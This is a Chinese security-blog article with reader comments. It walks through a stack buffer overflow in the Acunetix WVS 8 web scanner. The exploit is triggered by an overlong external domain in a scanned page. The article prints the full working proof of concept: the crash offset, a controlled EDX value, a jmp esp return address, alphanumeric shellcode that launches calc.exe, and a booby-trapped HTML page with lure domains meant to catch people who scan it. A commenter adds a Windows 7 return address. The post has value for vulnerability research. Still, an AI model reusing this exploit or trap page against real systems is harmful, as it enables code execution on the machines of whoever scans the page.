漏扫工具AWVS命令执行

livers 2014-04-26 13:06:00

From: http://an7isec.blogspot.co.il/2014/04/pown-noobs-acunetix-0day.html

0x00 概述


几个星期前,作者曾发表了关于WINRAR 0DAY(文件名欺骗)的文章。得到了大量人的关注和询问,所以这次又放出一个0day (最热门的漏扫工具 wvs)。作者POC测试版本为: ACUNETIX 8 (build 20120704) 貌似是老外用的非常多版本。作者意图想让攻击者在使用wvs 按下扫描键前三思而后行(这个才是真正的主动防护吧:)。

0x01 漏洞分析


ACUNETIX 是一款强大的漏扫工具,很多新手喜欢用这个工具进行扫描。

在扫描初始化阶段,会有这样一个附加选项,如下图

这一点让作者产生了兴趣,通过分析得出wvs 在解析http response时,提取一些资源请求 类似:

<img src=http://externalSource.com/someimg.png >
<a href=http://externalSource.com/ ></a>
Etc...

作者又进一步分析了这个过程,惊奇的发现当某个外部域名长度超过268字节,wvs就会crash,作者开始尝试构造>=268字节长度的域名: 首先测试 如下

<A href= "http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"> 

用Immunity Debugger(OD是这工具的母板)附加挂载到wvs访问网站: Edx被0x41(A)覆盖 ,然后取数据段内存越权访问崩溃了:

作者本打算利用SHE溢出执行shellcode但是比较麻烦。

这里有个难点:

因为是url字串所以避免url的编码类似

0x22 ("), 0x23 (#), 0x24 ($), 0x25 (%), 0x5C (), 0x2F (/)

所以,这里的shellcode不仅要是ascii,还要去除被URL编码的字符,也因为如此很难绕过SHE保护。

作者提出的思路,利用前面可控制的EDX构造一个可读的地址,同时要注意构造的edx地址要加8H

MOVE ECX, DWORD PTR DS: [EDX-8];

Edx必须满足下列两个条件:

1.[edx]可读
2.是ASCII符合并且没有被URL转义的符号

最终利用了0x663030XX 对应ascii值 f005。

前面精确测试出URL在268字节时溢出(不包括http://),溢出点就是269这里(500f开始)。

<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB">

用wvs扫描

Ret之后,看到eip 被覆盖BBBB 0x42424242。

这里就选择shellcode 存放位置 ,eax是call函数时的参数,就只有268字节的A,esp当前栈顶指针指向着后面的B 明显选择esp(因为够大 ascii编码268字节的shellcode很紧张的) 能控制到eip,也找好了shellcode存放空间。

再者就是找jmp esp 以前都是用公开的通用地址,这里需要ascii字符且不被url编码的,作者用的系统sxs.dll 的0x7e79515d,ascii编码]Qy~组合起来整个poc就是

<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”>

最后,用metasploit的Alphanumeric Shell模块生成了一个纯ascii且没有被url编码的弹calc.exe的shellcode ,你也可以试试用mst生成其他的shellcode玩玩,选取的地址[edx]和wvs(没有开启dep的编译选项),所以绕过dep防护。

<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKPKZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQKUNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15XUXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA">

0x02 利用


作者这里搞的非常好玩,因为这个点必须要用wvs人选择下面这个才会有效。

So,作者很猥琐构造了一些很诱惑的外部域名

“SQLINJECTION” 
“XSS” 
“CSRF” 
And so on…





<html>
<img src="http://SQLInjection..............................................................................................................................................................................................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKPKZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQKUNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15XUXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA”>
<img src="http://XSS..............................................................................................................................................................................................">
<img src="http://CSRF..............................................................................................................................................................................................">
<img src="http://DeepScan..............................................................................................................................................................................................">
<img src="http://NetworkScan..............................................................................................................................................................................................">
<img src="http://DenialOfService..............................................................................................................................................................................................">
</html>

如下图:

0x03 总结


我测试Wvs8.0 build 20120704 版本是可以成功弹出calc的。

后面评论有人说wvs8.0更新的版本也存在这个问题,我这里测试下列版本:

Wvs8.0 20130416版本 Wvs9 各个版本

都不存在此问题。

作者给出的exp下载

评论

路人甲 2014-04-26 13:33:43

沙发,高端大气上档次,低调奢华有内涵!

D

DM_ 2014-04-26 13:48:34

系统sxs.dll 的0x7e79515d,
这个win7下不能用,然后win7下又找不到可以用的jmp esp.

L

livers 2014-04-26 14:08:48

win7 下通用的ascii字符的ret地址比较少
0x6e6b2c74 MSVCP60.dll win7 英文旗舰版
ascii: "nk,t"
用这个玩玩

Z

zzR 2014-04-26 15:58:04

这让黑阔们情何以堪

D

DM_ 2014-04-26 17:37:03

谢啦。我用mona.py搜不全
过后试试

浅兮 2014-04-26 19:50:12

外国货,不会用!

I

insight-labs 2014-04-27 17:21:25

幸亏扫描器是自己写的

C

Comer 2014-04-27 19:43:24

代表广大安全爱好者求份!

小胖子 2014-04-28 08:46:37

还好,还好。

路人甲 2014-04-28 10:13:58

这个不了解呀,慢慢学习。。。。早日搞到邀请码。。

E

Enjoy_Hacking 2014-04-28 11:14:20

AWVS命令执行好像不用溢出这么麻烦吧

G

GrayTrack 2014-04-28 17:19:51

这个对付小白工具党最有爱了

园长 2014-04-29 10:25:50

恭喜,你已成为VIP的肉鸡。

M

MeirLin 2014-04-29 17:45:24

为何头像有如此高撸点 QAQ

L

livers

mov esp,0 jmp esp crash.....

twitter weibo github wechat

随机分类

IoT安全 文章:29 篇
浏览器安全 文章:36 篇
数据安全 文章:29 篇
Exploit 文章:40 篇
业务安全 文章:29 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录